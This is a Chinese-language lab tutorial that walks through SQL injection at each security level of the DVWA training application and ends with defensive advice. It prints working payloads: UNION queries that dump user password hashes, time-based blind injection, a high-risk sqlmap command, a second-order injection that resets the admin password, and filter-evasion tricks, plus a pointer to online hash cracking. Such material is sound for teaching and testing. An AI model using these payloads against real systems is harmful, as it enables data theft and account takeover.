DVWA(Damn Vulnerable Web Application)作为经典的Web安全演练平台,其SQL注入模块模拟了真实场景中开发者未对用户输入进行过滤导致的数据库漏洞。我第一次接触这个靶场时,发现它完美复现了新手程序员常犯的错误——直接将用户输入拼接进SQL语句。
SQL注入的本质是通过构造特殊输入,改变原有SQL语句的逻辑结构。比如原本的查询语句是:
sql复制SELECT * FROM users WHERE id='$input'
当攻击者输入' OR '1'='1时,语句变为:
sql复制SELECT * FROM users WHERE id='' OR '1'='1'
这将返回users表中的所有记录。在DVWA的Low安全级别下,服务器端完全没有做任何过滤,正是练习基础注入技巧的理想环境。
提示:建议在虚拟机或隔离环境中搭建DVWA,避免配置不当导致真实数据库泄露。我通常使用XAMPP集成环境,PHP版本建议5.4-7.0之间以保证兼容性。
将安全级别调整为Low后,在User ID输入框尝试输入单引号',页面返回SQL语法错误信息:
code复制You have an error in your SQL syntax...
这个报错信息非常珍贵,它告诉我们:
通过order by子句判断字段数:
sql复制1' ORDER BY 2--
1' ORDER BY 3-- # 当测试到3时报错,说明只有2个字段
接着用union联合查询获取敏感信息:
sql复制' UNION SELECT 1,database()--
返回数据库名dvwa。继续获取表名:
sql复制' UNION SELECT 1,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()--
关键表users浮出水面。
最终payload获取用户表的所有数据:
sql复制' UNION SELECT user,password FROM users--
这时会返回所有用户名和MD5加密的密码。可以用在线工具如cmd5.com破解简单密码。
注意:在实际渗透测试中,获取到密码哈希后应该立即停止测试,并向客户报告漏洞。继续破解密码可能涉及法律风险。
将安全级别调到Medium后,发现两个变化:
mysql_real_escape_string()过滤特殊字符但开发者犯了个致命错误——他们先获取参数值再转义:
php复制$id = $_REQUEST['id'];
$id = mysql_real_escape_string($id);
这意味着我们仍然可以通过Burp Suite拦截修改请求参数。
sql复制1 OR 1=1
这种数字型注入不需要引号,完美绕过了转义处理。继续用union查询获取数据:
sql复制1 UNION SELECT 1,@@version
可以获取MySQL版本信息,为后续利用提供更多信息。
High级别采用了更严格的防护:
$id = (int)$_GET['id']LIMIT 1但开发者忽略了错误处理的重要性。通过精心构造payload仍然可以触发时间盲注:
sql复制1 AND IF(SUBSTRING(database(),1,1)='d',SLEEP(5),0)
如果数据库名的第一个字母是'd',页面将延迟5秒响应。
手工测试时间盲注效率极低,我通常使用sqlmap自动化工具:
bash复制sqlmap -u "http://靶场地址/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=high; PHPSESSID=你的会话ID" --technique=T --dbms=mysql --level=3 --risk=3
关键参数说明:
--technique=T:指定时间盲注技术--cookie:维持高权限会话--level/--risk:提高检测强度Impossible级别展示了业界最佳实践:
php复制$stmt = $db->prepare("SELECT first_name, last_name FROM users WHERE user_id = ?");
$stmt->bindParam(1, $id);
$stmt->execute();
根据OWASP Top 10推荐:
有时输入会先存入数据库,之后在其他操作中被调用。测试方法:
admin'-- 的账号sql复制UPDATE users SET password='新密码' WHERE user='admin'-- '
这将意外修改admin用户的密码。
SeLeCT代替SELECTSEL/*xxx*/ECT0x61646D696E代替'admin'%0a、%0d等在我参与过的金融系统安全加固中,多层级防御方案最有效:
代码层面:
架构层面:
运维层面:
我曾遇到过一个典型案例:某电商平台因为SQL注入导致百万用户数据泄露。事后分析发现,他们虽然使用了预处理语句,但在动态排序功能中直接拼接了ORDER BY参数。这提醒我们,任何与SQL语句拼接的用户输入都必须严格过滤。
最后分享一个检查清单,在代码审查时务必验证: